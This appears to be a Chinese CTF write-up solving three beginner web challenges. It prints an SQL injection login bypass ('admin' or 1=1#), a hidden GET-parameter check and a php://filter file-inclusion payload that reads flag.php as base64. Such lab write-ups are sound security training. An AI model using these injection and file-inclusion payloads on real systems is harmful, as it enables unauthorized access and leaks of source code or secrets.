[极客大挑战2019]EasySQL

1
2
admin' or 1=1#
123456

‘#’是注释符,相当于

1
SELECT * FROM users WHERE username='admin' or 1=1 --' AND password='123'

[极客大挑战2019]Havefun1

查看网页源代码,有注释

1
2
3
4
5
6
7
        <!--
$cat=$_GET['cat']; // 从URL的GET参数中获取名为'cat'的值
echo $cat; // 输出这个值
if($cat=='dog'){ // 如果获取到的值等于字符串'dog'
echo 'Syc{cat_cat_cat_cat}'; // 就输出这个看起来像flag的字符串
}
-->

在url中添加get参数为cat=dog

[ACTF2020新生赛]Include

点进tips

1
http://13ef86de-b0df-479d-81ed-82f13b3a7db8.node5.buuoj.cn:81/?file=flag.php

根据file=flag.php可知,可能考察文件包含
使用php伪协议读取源码(php://filter)

1
php://filter/convert.base64-encode/resource=目标文件

1
http://13ef86de-b0df-479d-81ed-82f13b3a7db8.node5.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=flag.php

得到:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YmQzZGM3YjEtNTNjNC00NTY1LTg2MDItOGZhOTUwOGUyOGY1fQo=
进行base64解码

Base64仅包含 A-Z、a-z、0-9、+、/ 和填充符 =
得到flag0